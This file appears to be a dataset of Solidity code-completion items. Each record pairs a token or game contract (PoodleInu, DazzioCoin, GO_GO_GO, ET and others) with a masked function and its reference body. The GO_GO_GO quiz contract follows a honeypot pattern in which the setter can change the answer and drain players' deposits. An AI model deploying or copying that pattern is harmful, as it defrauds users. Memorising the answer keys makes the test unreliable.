buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) {<FILL_FUNCTION_BODY> } }
contract PoodleInu is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Poodle Inu", "Poodle") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 4; uint256 _buyLiquidityFee = 10; uint256 _buyDevFee = 1; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 14; uint256 _sellDevFee = 1; uint256 totalSupply = 1 * 1e12 * 1e18; //maxTransactionAmount = totalSupply * 1 / 1000; // 0.1% maxTransactionAmountTxn maxTransactionAmount = totalSupply; maxWallet = totalSupply; // .5% maxWallet swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= 0, "Cannot set maxTransactionAmount lower than 0%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { if (!tradingActive) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if (!_isExcludedMaxTransactionAmount[to]) { require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { swapping = true; swapBack(); swapping = false; } if (!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{ value: ethAmount }( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{ value: ethForDev }(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } <FILL_FUNCTION> }
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true;
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool)
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool)
61372
StandardToken
increaseApproval
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); require(now > frozenTimestamp[_from]); require(now > frozenTimestamp[_to]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require(_value == 0 || allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); require(now > frozenTimestamp[_from]); require(now > frozenTimestamp[_to]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require(_value == 0 || allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } <FILL_FUNCTION> /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true;
function increaseApproval(address _spender, uint _addedValue) public returns (bool)
/** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool)
32729
DazzioCoin
DazzioCoin
contract DazzioCoin is StandardToken { /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; uint256 public totalEthInWei; address public fundsWallet; function DazzioCoin() {<FILL_FUNCTION_BODY> } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); fundsWallet.transfer(msg.value); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract DazzioCoin is StandardToken { /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; uint256 public totalEthInWei; address public fundsWallet; <FILL_FUNCTION> function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); fundsWallet.transfer(msg.value); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 5000000000000000000000000; // Total supply goes to the contract creator totalSupply = 5000000000000000000000000; // Total token supply name = "DazzioCoin"; // Token display name decimals = 18; symbol = "DAZZ"; // Token symbol unitsOneEthCanBuy = 1000; // Tokens per ETH fundsWallet = msg.sender; // ETH goes to the contract address
function DazzioCoin()
function DazzioCoin()
77040
FreezableToken
enableTransfers
contract FreezableToken is ERC20, Ownable { event TransfersEnabled(); bool public allowTransfers = false; /** * @dev Checks whether it can transfer or otherwise throws. */ modifier canTransfer() { require(allowTransfers || msg.sender == owner); _; } /** * @dev Checks modifier and allows transfer if tokens are not locked. */ function enableTransfers() public ownerOnly {<FILL_FUNCTION_BODY> } /** * @dev Checks modifier and allows transfer if tokens are not locked. * @param to The address that will receive the tokens. * @param value The amount of tokens to be transferred. */ function transfer(address to, uint256 value) public canTransfer returns (bool) { return super.transfer(to, value); } /** * @dev Checks modifier and allows transfer if tokens are not locked. * @param from The address that will send the tokens. * @param to The address that will receive the tokens. * @param value The amount of tokens to be transferred. */ function transferFrom(address from, address to, uint256 value) public canTransfer returns (bool) { return super.transferFrom(from, to, value); } }
contract FreezableToken is ERC20, Ownable { event TransfersEnabled(); bool public allowTransfers = false; /** * @dev Checks whether it can transfer or otherwise throws. */ modifier canTransfer() { require(allowTransfers || msg.sender == owner); _; } <FILL_FUNCTION> /** * @dev Checks modifier and allows transfer if tokens are not locked. * @param to The address that will receive the tokens. * @param value The amount of tokens to be transferred. */ function transfer(address to, uint256 value) public canTransfer returns (bool) { return super.transfer(to, value); } /** * @dev Checks modifier and allows transfer if tokens are not locked. * @param from The address that will send the tokens. * @param to The address that will receive the tokens. * @param value The amount of tokens to be transferred. */ function transferFrom(address from, address to, uint256 value) public canTransfer returns (bool) { return super.transferFrom(from, to, value); } }
allowTransfers = true; emit TransfersEnabled();
function enableTransfers() public ownerOnly
/** * @dev Checks modifier and allows transfer if tokens are not locked. */ function enableTransfers() public ownerOnly
7127
GO_GO_GO
Try
contract GO_GO_GO { function Try(string _response) external payable {<FILL_FUNCTION_BODY> } string public question; address questionSender; bytes32 responseHash; function set_game(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { if(msg.sender==questionSender){ question = _question; responseHash = _responseHash; } } function newQuestioner(address newAddress) public { if(msg.sender==questionSender)questionSender = newAddress; } function() public payable{} }
contract GO_GO_GO { <FILL_FUNCTION> string public question; address questionSender; bytes32 responseHash; function set_game(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { if(msg.sender==questionSender){ question = _question; responseHash = _responseHash; } } function newQuestioner(address newAddress) public { if(msg.sender==questionSender)questionSender = newAddress; } function() public payable{} }
require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>1 ether) { msg.sender.transfer(this.balance); }
function Try(string _response) external payable
function Try(string _response) external payable
9955
ET
transferFrom
contract ET is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "Exchange Token"; name = "ET"; decimals = 8; _totalSupply = 10000000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract ET is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "Exchange Token"; name = "ET"; decimals = 8; _totalSupply = 10000000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success)
4160
Sense
transferFrom
